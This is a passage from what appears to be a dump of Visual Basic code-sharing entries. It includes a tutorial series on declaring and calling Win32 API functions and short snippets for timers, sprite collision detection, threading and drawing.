fine.\n\nΓÇó\tThere is one more error that you need to keep a really sharp eye out for, mainly because it comes from an unexpected source. The Win32api.txt file supplied by Microsoft contains some errors, which can cause you endless hours of frustration. Since we copy it from the API Text Viewer, the Declaration would be the last place we'd expect an error to arise especially as the file itself is a Microsoft product. But sadly this file contains a number of errors that are particularly hard to track down. There's nothing much you can do about it, except of course to correct any that come \nto your attention and consult a good API guide or SDK documentation when things don't seem to go as expected.\n\nNow we'll see a simple declaration and invocation example. For this purpose let us build an application that finds out your computer name, i.e. the name you have given your computer. \n\nReady? \n\nOK, here we go!\n\nFirst, load VB and create a new standard EXE project. A form should have been added to the project by default. In the General | Declarations section of the form add the following code:\n<code>\nPrivate Declare Function GetComputerName Lib \"kernel32\" Alias \"GetComputerNameA\" \n(ByVal sBuffer As String, lSize As Long) As Long\n\n'Now add the following code to an appropriate procedure. Here I've used the\n'Form_Load event\nPrivate Sub Form_Load ()\nDim strString As String\n'Create a buffer\nstrString = String(255, Chr$(0))\n'Get the computer name\nGetComputerName strString, 255\n'Remove the unnecessary Chr$(0)\nstrString = Left$(strString, InStr(1, strString, Chr$(0)) - 1)\n'Show the computer name\nMsgBox strString\nEnd Sub\n</code>\n\nPlease examine the Declaration part carefully. Straightaway, we can notice several things. \nFirst of all we see that the scope of the Declaration is private. This is because VB does not allow Public Declare statements in object modules. Next we see that this is the declaration for a Function and that the name by which the function is referred in this program is GetComputerName. This is NOT the real name of the function as will become clear when we discuss aliasing in a short while. The next two words are interesting. \nLib \"kernel32\"\nThe Lib Keyword is used to specify the path and file name of the Library(DLL) which encapsulates the function.\nLib \"kernel32\" means that the specified API function is found in the kernel32.dll file. \nStrictly speaking, it should be \"kernel32.dll\" but the extension name can be skipped. Also, the path can be skipped if the file is located in the System folder.\n\nAliasing\nAliasing is a technique used to call a function with a different name than its original name as defined in the DLL to avoid naming problems ambiguities etc. Occasionally, a DLL procedure has a name that is not a legal identifier. It might have an invalid character (such as a hyphen), or the name might be the same as a Visual Basic keyword (such as GetObject). When this is the case, use the Alias keyword to specify the illegal procedure name. I.e. For example, some procedures in the operating environment DLLs begin with an underscore character. While you can use an underscore in a Visual Basic identifier, you cannot begin an identifier with an underscore. To use one of these procedures, you first declare the function with a legal name, then use the Alias clause to reference the procedure's real name.\n\nWe can also use the Alias clause to change a procedure name whenever it's convenient say, to remove the ambiguity problem discussed earlier in this article. If you do substitute your own names for procedures, make sure that you thoroughly document the changes so that your code can be maintained at a later date.\n\nIn our example therefore, <code>\"GetComputerNameA\"</code> is the name of the function and \nGetComputerName is its alias. This could be confusing the first time around. Don't worry; it's simple once you get the hang of it.\nArguments\nThis function takes two arguments. The first argument is a string and is passed ByVal. The second argument is a long value and is passed ByRef. Wait a minute! What are these ByVal and ByRef arguments and what is their significance? We'll see that in a minute. Now let us see the argument list:\n\nlpBuffer - Points to a buffer to receive the null-terminated character string containing the computer name.\nnSize - Points to a variable that specifies the maximum size, in characters, of the buffer. This value \nshould be large enough to contain MAX_COMPUTERNAME_LENGTH + 1 characters.\n\nByVal and ByRef\nIf you do API programming for any length of time, it is impossible to avoid these two terms. They refer to two methods used to pass arguments to functions.\nByVal means that the argument is passed by value. I.e. a copy of the argument is made and this copy is passed to the function. Any changes that the function makes to its own copy of the data are not reflected to the original value. \nByRef means that the address of the variable is passed as argument to the function. So any changes the function makes to the argument is immediately reflected in the original variable. In passing arguments to API functions, ByRef is the default, whereas if you need to pass an argument ByVal, it needs to be explicitly specified.\nNow let us analyse the rest of the code. In the Form_Load event procedure we first create a string buffer, strString. Then we pre-size (or stuff) it with enough Chr$(0) (space) so that it is larger than the maximum length that the computer name can have.\nWarning: If you skip the previous step, you may get back an empty string as the result. And you might crash the program if you fail to pre-size the buffer.\n\nAfter that, we pass the pointer to the buffer and an integer value, which denotes the length of the buffer to the GetComputerName function. The strString buffer now contains the computer name and trailing spaces. In the final step we lop off the spaces to get the computer name, which we display, using the MsgBox function.\n(Of course an application that finds the Computer name has limited use, but here the focus was on understanding the mechanics of declaring and using an API function. So I deliberately chose a simple example.) \nConclusion\nIn this article we discussed the mechanics of declaring and invoking an API function with the help of a simple example.\n"},{"WorldId":1,"id":33374,"LineNumber":1,"line":"In the previous article we saw how to declare\nand invoke API functions from Visual Basic. In this article we see a small\nexample how to bring a window to top. \nAs usual we start with the API declaration. \n \nCreate a new VB Standard EXE project. \nWhen you created the project, a form Form1 should have been added to the\nproject by default. Add another form to the project. Since this is only an\nexample to illustrate the above API call, we'll not change the properties of\nthe forms. So now we have two forms named Form1 and Form2 in the project. Add a\ncommand button each to both the forms. Leave their names as Command1 itself. \nIn the General | Declarations section of both the forms, type in the following\ncode\n<pre> \nPrivate Declare Function BringWindowToTop Lib \"user32\" Alias \"BringWindowToTop\" (ByVal hwnd As Long) As Long</pre>\n \n \nIn the Click event procedure of the button on Form1 add the following code:\n<pre> \nPrivate Sub Command1_Click () \nBringWindowToTop Form2.hwnd \nEnd Sub</pre>\n \n \n \nIn the Click event procedure of the button on Form2 add the following code:\n<pre> \nPrivate Sub Command1_Click () \nBringWindowToTop Form1.hwnd \nEnd Sub</pre>\n \n \n \nNow in the load event of Form1 (which should be the default form of the project\nadd the following code.\n<pre> \nPrivate Sub Form_Load () \nForm2.Show \nEnd Sub</pre>\n \n \n \nNow if we press the command button on Form1, Form2 will be brought to top and\nvice versa. \nAnalysis\nLet us see how this works. \nFirst we declared the API function that weΓÇÖre going to use, which in this case\nis the BringWindowToTop encapsulated in the user32.dll. If you are not familiar\nwith the mechanics of declaring and invoking API functions, please go through\nthe Parts 1 and 2 of this series which describe the basics of API programming\nin considerable detail.\n┬á\nThe API function BringWindowToTop accepts the hwnd (Handle to the\nWindow, a unique id that all windows have) of the window that is to be brought\non top. It brings the specified window to the top of the Z order. If the window\nis a top-level window, it is activated. If the window is a child window, the\ntop-level parent window associated with the child window is activated. \nWhile adequate for the purpose of explaining the function, the above example is\nrather trivial in nature. I.e. it doesn't achieve anything practical. So what\nwould be a practical application for this? Hmmm, say, you've got a long process\nrunning in a window. Naturally you can expect your users to switch to other\nwindows during this period. However, once the process is complete you may want\nto put this window on top. In such a case this code can be put to use. \n┬á\nSummary\n┬á\nIn this article we saw how to make a Window come on top of all\nother windows using the API. If you have any questions or comments, please feel\nfree to contact me.\n"},{"WorldId":1,"id":33357,"LineNumber":1,"line":"Foreword\nThe API programming series is a set of articles dealing with a common theme: API programming in Visual Basic. Though there are no hard and fast rules regarding the content of these articles, generally one article can be expected to contain issues related to API programming, explanation of one or more API calls with generously commented code snippets or bug reports. Depending on the subject, these code samples may expand to become a full-fledged application. \nIn this article weΓÇÖll look at the concept of API as applied to Win32 programming.\nNote: In this article weΓÇÖll look at the concept of API as applied to Win32 programming.\nSo whatΓÇÖs API\nYou may be a VB programmer, a C++ programmer, a Delphi programmer or even a C programmer. But the fact is if youΓÇÖve ever developed an application for the Windows platform then you have used the Win32 API, at least indirectly. Because, quite simply, any program you write for windows uses the Windows API. Each and every line of code you write is translated into corresponding API calls which the system uses to get the tasks done.\nAPI (Application Programming Interface) is a set of predefined Windows functions used to control the appearance and behaviour of every Windows element (from the outlook of the desktop window to the allocation of memory for a new process). Between them, these functions encapsulate the entire functionality of the Windows environment. So we can consider API as the native code of Windows. The other languages act as an attractive and often user-friendlier shell to the API promoting easier and automated access to it. An example is VB, which has replaced a sizeable portion of the API with its own functions. But every line of code written in VB is converted to its equivalent API calls.\n\nWhere does the API reside?\nThe bulk of the API functions are encapsulated in a set of DLLs - kernel32.dll, user32.dll, gdi32.dll, shell32.dll, etc. These DLLs form the core of the Windows OS and are present on all windows machines (At least the ones that are bootable J). So unlike when you access a function from a third-party DLL, you donΓÇÖt have to ship anything with your product when you use an API function. The effect this has on the distribution size and speed of your application has to be seen to be believed.\nHow can we access API functions from VB?\nSince these functions are encapsulated within external DLLs they are not available in VB by default. Before invoking (i.e. using) them, we must declare them. Usually this is done in the General | Declarations part of the module in which they are to be used. One important thing should be remembered while declaring API functions within a form module. VB does not allow public Declare statements within form modules. So the Declare statements should be explicitly specified as Private since all object module members are considered Public by default. But this makes them invisible outside the module in which they are defined. So the functions should be declared in every module that needs to use them. Declaring them in a separate .BAS module where they can be declared as Public and are therefore accessible to all the modules eliminates this duplication. This also permits easier maintenance.\nWhy use the API when I can achieve most of the things I want in VB?\nFirst of all the features offered by (pure) VB are pretty limited when compared to what can be achieved in windows. The recent additions have alleviated this problem somewhat, but the functionality offered by VB is still woefully inadequate in many areas, especially systems programming. Using the API can help you to work around this and would be much simpler than learning a new language.\nSecondly, due to its architecture, programs written in VB run slower than their C++ or Delphi counterparts. This is the price one has to pay for easier debugging, simpler coding and a fast development cycle. API being the native interface to Windows is much faster than VB when compared to VB code and since the support files are present in all Windows installations (more about this in the Where does the API reside section) the distribution size is smaller too. So using the API in VB allows one to have the best of both worlds.\n\nSo why use VB at all?\nI guess I went a bit overboard in praising the API. Because, for all its advantages, API programming does have some critical disadvantages. It is much more tougher and much less forgiving of programmer errors. Also it is childΓÇÖs play to crash your application or your system with a malformed API call. And certain API calls when (im)properly used can even render your system unbootable or worse. Scared? There is no need to be. Just try to understand what youΓÇÖre doing and how to do it properly, exercise mature prudence and lo! YouΓÇÖve got yourself a slimmer, faster application doing things thatΓÇÖd make ordinary VB programmers go green with envy. Good luck!\nCopyright ┬⌐ 2001 Sreejath S. Warrier\n"},{"WorldId":1,"id":14667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14151,"LineNumber":1,"line":"Get it at:\nhttp://sesphp.homestead.com/files/D-Mail.zip"},{"WorldId":1,"id":14380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12652,"LineNumber":1,"line":"Add The Declarations Above To A Module. Then put this whenever you want to perform the conversion:\nDim sFile As String, sShortFile As String * 67\nDim lRet As Long\nsFile = \"C:\\Program Files\\Test.txt\" 'Long File Location/Name\nlRet = GetShortPathName(sFile, sShortFile, Len(sShortFile))\nsFile = Left(sShortFile, lRet)\nText1.Text = sFile"},{"WorldId":1,"id":12647,"LineNumber":1,"line":"G = DownloadFile(\"UrlOfTheFileToDownload\", \"c:\\windows\\desktop\\FileName.htm\")"},{"WorldId":1,"id":12648,"LineNumber":1,"line":"Private Declare Function StrFormatByteSize Lib _\n\"shlwapi\" Alias \"StrFormatByteSizeA\" (ByVal _\ndw As Long, ByVal pszBuf As String, ByRef _\ncchBuf As Long) As String\nPublic Function FormatKB(ByVal Amount As Long) _\nAs String\nDim Buffer As String\nDim Result As String\nBuffer = Space$(255)\nResult = StrFormatByteSize(Amount, Buffer, _\nLen(Buffer))\nIf InStr(Result, vbNullChar) > 1 Then\nFormatKB = Left$(Result, InStr(Result, _\nvbNullChar) - 1)\nEnd If\nEnd Function"},{"WorldId":1,"id":12650,"LineNumber":1,"line":"Add the declarations mentioned above, then put this in when you want it to run:\nListdir (\"C:\\\")"},{"WorldId":1,"id":12099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22534,"LineNumber":1,"line":"Function sqroot(number As Integer) As Single\nres = number / 2\nDo\nsummed = (number - res * res) / (2 * res)\nres = res + summed\nLoop Until summed > -0.0001 And summed < 0.0001\nText2.Text = res\nEnd Function\nPrivate Sub Command1_Click()\nsqroot (Int(Text1.Text))\nEnd Sub"},{"WorldId":1,"id":12141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34196,"LineNumber":1,"line":"When dragging/resizing the control just hold down CTRL+SHIFT and, voila! full control over the position."},{"WorldId":1,"id":23588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12131,"LineNumber":1,"line":"Because of GUI standards, you wouldn't want to use this technic very often. But there are circumstance in which you want to present data without allowing the user editing privileges.\nJust using the locking mechanism still allows the user to to click in the control, highlight the text and shows up in the tab order. Here is a better way.\nAdd a frame to your form. Set the border style to 0 - None. Place the text box in the frame (with with its accompaning label) at the top of the frame. Size the frame to show just the text box and its label. Now you can control the enable/disable property on the frame.\nThe text box and label appear normal but it won't allow the user the click in the box, tab to the control or edit data when the frame is disabled. To allow the user access, just enable the frame."},{"WorldId":1,"id":12152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13557,"LineNumber":1,"line":"' Unsigned 64-bit long\nPublic Type LongLong\n LowPart As Long\n HighPart As Long\nEnd Type\nDeclare Function QueryPerformanceCounter Lib \"kernel32\" _\n (lpPerformanceCount As LongLong) As Long\nDeclare Function QueryPerformanceFrequency Lib \"kernel32\" _\n (lpFrequency As LongLong) As Long\nDeclare Function timeGetTime Lib \"winmm.dll\" () As Long\nPublic Function TimerElapsed(Optional ┬╡S As Long = 0) As Boolean\nStatic StartTime As Variant ' Decimal\nStatic PerformanceFrequency As LongLong\nStatic EndTime As Variant ' Decimal\nDim CurrentTime As LongLong\nDim Dec As Variant\n If ┬╡S > 0 Then\n ' Initialize\n If QueryPerformanceFrequency(PerformanceFrequency) Then\n ' Performance Timer available\n Debug.Print PerformanceFrequency.HighPart & \" \" & PerformanceFrequency.LowPart\n If QueryPerformanceCounter(CurrentTime) Then\n Else\n ' Performance timer is available, but is not responding\n CurrentTime.HighPart = 0\n CurrentTime.LowPart = timeGetTime\n PerformanceFrequency.HighPart = 0\n PerformanceFrequency.LowPart = 1000\n End If\n Else\n ' Performance timer is not available.\n CurrentTime.HighPart = 0\n CurrentTime.LowPart = timeGetTime\n PerformanceFrequency.HighPart = 0\n PerformanceFrequency.LowPart = 1000\n End If\n ' Work out start time...\n ' Convert to DECIMAL\n Dec = CDec(CurrentTime.LowPart)\n ' make this UNSIGNED\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n ' Add higher value\n StartTime = CDec(Dec + (CurrentTime.HighPart * 2147483648# * 2))\n \n ' Put performance frequency into Dec variable\n Dec = CDec(PerformanceFrequency.LowPart)\n ' Convert to unsigned\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n ' Add higher value\n Dec = CDec(Dec + (PerformanceFrequency.HighPart * 2147483648# * 2))\n \n ' Work out end time from this\n EndTime = CDec(StartTime + ┬╡S * Dec / 1000000)\n TimerElapsed = False\n Else\n If PerformanceFrequency.LowPart = 1000 And PerformanceFrequency.HighPart = 0 Then\n ' Using standard windows timer\n Dec = CDec(timeGetTime)\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n If Dec > EndTime Then\n TimerElapsed = True\n Else\n TimerElapsed = False\n End If\n Else\n If QueryPerformanceCounter(CurrentTime) Then\n Dec = CDec(CurrentTime.LowPart)\n ' make this UNSIGNED\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n Dec = CDec(Dec + (CurrentTime.HighPart * 2147483648# * 2))\n If Dec > EndTime Then\n TimerElapsed = True\n Else\n TimerElapsed = False\n End If\n Else\n ' Should never happen in theory\n Err.Raise vbObjectError + 2, \"Timer Elapsed\", \"Your performance timer has stopped functioning!!!\"\n TimerElapsed = True\n End If\n End If\n End If\nEnd Function\n' Example use\nPublic Sub DummySub()\nDim i As Long\n ' count for 5 seconds and then display result\n TimerElapsed (5000000)\n i = 0\n Do While TimerElapsed = False\n i = i + 1\n DoEvents\n Loop\n MsgBox i\nEnd Sub"},{"WorldId":1,"id":23110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21622,"LineNumber":1,"line":"Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nDeclare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nDeclare Function DeleteDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nDeclare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nDeclare Function GetPixel Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long\nDeclare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long\nDeclare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\nDeclare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nDeclare Function IntersectRect Lib \"user32\" (lpDestRect As RECT, lpSrc1Rect As RECT, lpSrc2Rect As RECT) As Long\n'-------------------------------------------\n' Collision Detection (Sprites)\n'-------------------------------------------\n' - Acknowledgement here goes to Richard Lowe (riklowe@hotmail.com) for his collision detection\n' algorithm which I have used as the basis of my collision detection algorithm. Most of the logic in\n' here is radically different though, and his algorithm originally didn't deallocate memory properly ;-)\n' - All X/Y/Width/Height values MUST be measured in pixels (ScaleMode = 3).\n' - Compares bounding rectangles, and if they overlap, it goes to a pixel-by-pixel comparison.\n' This therefore has detection down to the pixel level.\n' Function assumes you are using Masking sprites (not an unreasonable assumption, I'm sure you'll agree).\n' - e.g. To test if collision has occurred between two sprites, one called \"Ball\", the other \"Bat\":\n' CollisionDetect(Ball.X,Ball.Y,Ball.Width, Ball.Height, 0, 0, Ball.MaskHdc, Bat.X, Bat.Y, Bat.Width, Bat.Height, 0, 0, Bat.MaskHdc)\nPublic Function CollisionDetect(ByVal x1 As Long, ByVal y1 As Long, ByVal X1Width As Long, ByVal Y1Height As Long, _\n ByVal Mask1LocX As Long, ByVal Mask1LocY As Long, ByVal Mask1Hdc As Long, ByVal x2 As Long, ByVal y2 As Long, _\n ByVal X2Width As Long, ByVal Y2Height As Long, ByVal Mask2LocX As Long, ByVal Mask2LocY As Long, _\n ByVal Mask2Hdc As Long) As Boolean\n' I'm going to use RECT types to do this, so that the Windows API can do the hard bits for me.\nDim MaskRect1 As RECT\nDim MaskRect2 As RECT\nDim DestRect As RECT\nDim i As Long\nDim j As Long\nDim Collision As Boolean\nDim MR1SrcX As Long\nDim MR1SrcY As Long\nDim MR2SrcX As Long\nDim MR2SrcY As Long\nDim hNewBMP As Long\nDim hPrevBMP As Long\nDim tmpObj As Long\nDim hMemDC As Long\n MaskRect1.Left = x1\n MaskRect1.Top = y1\n MaskRect1.Right = x1 + X1Width\n MaskRect1.Bottom = y1 + Y1Height\n MaskRect2.Left = x2\n MaskRect2.Top = y2\n MaskRect2.Right = x2 + X2Width\n MaskRect2.Bottom = y2 + Y2Height\n i = IntersectRect(DestRect, MaskRect1, MaskRect2)\n If i = 0 Then\n CollisionDetect = False\n Else\n ' The two rectangles intersect, so let's go to a pixel by pixel comparison\n ' Set SourceX and Y values for both Mask HDC's...\n If x1 > x2 Then\n MR1SrcX = 0\n MR2SrcX = x1 - x2\n Else\n MR2SrcX = 0\n MR1SrcX = x2 - x1\n End If\n If y1 > y2 Then\n MR2SrcY = y1 - y2\n MR1SrcY = 0\n Else\n MR2SrcY = 0 ' here\n MR1SrcY = y2 - y1 - 1\n End If\n \n ' Allocate memory DC and Bitmap in which to do the comparison\n hMemDC = CreateCompatibleDC(Screen.ActiveForm.hdc)\n hNewBMP = CreateCompatibleBitmap(Screen.ActiveForm.hdc, DestRect.Right - DestRect.Left, DestRect.Bottom - DestRect.Top)\n hPrevBMP = SelectObject(hMemDC, hNewBMP)\n ' Blit the first sprite into it\n i = BitBlt(hMemDC, 0, 0, DestRect.Right - DestRect.Left, DestRect.Bottom - DestRect.Top, _\n Mask1Hdc, MR1SrcX + Mask1LocX, MR1SrcY + Mask1LocY, vbSrcCopy)\n ' Logical OR the second sprite with the first sprite\n i = BitBlt(hMemDC, 0, 0, DestRect.Right - DestRect.Left, DestRect.Bottom - DestRect.Top, _\n Mask2Hdc, MR2SrcX + Mask2LocX, MR2SrcY + Mask2LocY, vbSrcPaint)\n \n Collision = False\n For i = 0 To DestRect.Bottom - DestRect.Top - 1\n For j = 0 To DestRect.Right - DestRect.Left - 1\n If GetPixel(hMemDC, j, i) = 0 Then ' If there are any black pixels\n Collision = True\n Exit For\n End If\n Next\n If Collision = True Then\n Exit For\n End If\n Next\n CollisionDetect = Collision\n \n ' Destroy any allocated objects and DC's\n tmpObj = SelectObject(hMemDC, hPrevBMP)\n tmpObj = DeleteObject(tmpObj)\n tmpObj = DeleteDC(hMemDC)\n End If\nEnd Function\n"},{"WorldId":1,"id":21674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31786,"LineNumber":1,"line":"To make serveral threads in VB, you need a single API call and a few constants (this code should be placed in a module)\n: \nPublic Const CTF_COINIT = &H8 \nPublic Const CTF_INSIST = &H1 \nPublic Const CTF_PROCESS_REF = &H4 \nPublic Const CTF_THREAD_REF = &H2 \nDeclare Function SHCreateThread Lib \"shlwapi.dll\" (ByVal pfnThreadProc As Long, pData As Any, ByVal dwFlags As Long, ByVal pfnCallback As Long) As Long \nNext is to make sub for the thread (it will not work for a private). \npublic sub myNewThread() \n dim i as integer \n for i = 0 to 99 \n debug.print \"message from a new thread (\" & i & \")\" \n next i \nend sub \nLast but not least, all you need to do, is invoke the new thread:\nSHCreateThread AddressOf myNewThread, ByVal 0&, CTF_INSIST, ByVal 0& \nThat's it. You have a new thread (make sure to end the sub before you exit the program or vb will crash.)\n"},{"WorldId":1,"id":22824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34720,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12407,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34077,"LineNumber":1,"line":"Private Sub Form_Load()\n \n Dim i As Integer\n \n 'Fill the listbox\n For i = 1 To 5\n List1.AddItem \"Item \" & i\n Next\n \nEnd Sub\nPrivate Sub List1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n Dim lRet As Long\n Dim lXPos As Long, lYPos As Long\n \n 'Convert the cursor position into pixels, because that is what is needed\n lXPos = CLng(X / Screen.TwipsPerPixelX)\n lYPos = CLng(Y / Screen.TwipsPerPixelY)\n \n 'If the right mouse button is clicked...\n If Button = 2 Then\n 'Get the listitem closest to the cursor\n 'NOTE: Since the X and Y values have to be in the form of high and low\n 'order words, send the values as ((lYPos * 65536) + lXPos)\n lRet = SendMessage(List1.hWnd, LB_ITEMFROMPOINT, 0, ByVal _\n ((lYPos * 65536) + lXPos))\n 'If the returned value is a valid index, then set that item as the selected\n 'item\n If lRet < List1.ListCount Then\n List1.ListIndex = lRet\n End If\n End If\nEnd Sub"},{"WorldId":1,"id":23687,"LineNumber":1,"line":"'DrawTree - draws a tree recursively. Each recursion draws a branch,\n'and then joins on five offshoots\n'\n'Parameters:\n' x0 : start x location\n' y0 : start y location\n' h : height of tree\n' a : angle of branch in degrees\n' limit : how far to fork branches\n' color of current branch\nSub DrawTree(ByVal x0 As Double, ByVal y0 As Double, ByVal h As Double, ByVal a As Double, ByVal limit As Integer, Optional ByVal colour As Long = -1)\n Dim x1 As Double, y1 As Double\n Dim x2 As Double, y2 As Double\n Dim x3 As Double, y3 As Double\n Dim x4 As Double, y4 As Double\n Dim x5 As Double, y5 As Double\n Dim rad As Double\n \n Const pi As Double = 3.141592654\n Const d2r As Double = pi / 180\n \n If limit > 0 Then\n \n If colour = -1 Then\n colour = RGB(0, Rnd * 256, 0)\n End If\n \n rad = a * d2r 'convert angle to radians\n \n 'get locations for tree branch offshoots\n '20% up the branch\n x1 = x0 + 0.2 * h * Cos(rad)\n y1 = y0 + 0.2 * h * Sin(rad)\n \n '40% up the branch\n x2 = x0 + 0.4 * h * Cos(rad)\n y2 = y0 + 0.4 * h * Sin(rad)\n \n '60% up the branch\n x3 = x0 + 0.6 * h * Cos(rad)\n y3 = y0 + 0.6 * h * Sin(rad)\n \n '80% up the branch\n x4 = x0 + 0.8 * h * Cos(rad)\n y4 = y0 + 0.8 * h * Sin(rad)\n \n '100% up the branch\n x5 = x0 + h * Cos(rad)\n y5 = y0 + h * Sin(rad)\n \n 'Draw branch\n Line (x0, y0)-(x5, y5), colour\n \n 'Draw offshoots\n DrawTree x1, y1, h * 0.4, a - 45, limit - 1 '-45degrees off\n DrawTree x2, y2, h * 0.4, a + 45, limit - 1 '+45degrees off\n DrawTree x3, y3, h * 0.4, a - 45, limit - 1\n DrawTree x4, y4, h * 0.4, a + 45, limit - 1\n DrawTree x5, y5, h * 0.4, a - 45, limit - 1\n DrawTree x5, y5, h * 0.4, a, limit - 1\n \n End If\n \nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'Draw tree with start color of brown\n DrawTree X, Y, 1000, -90, 6, RGB(160, 82, 45)\nEnd 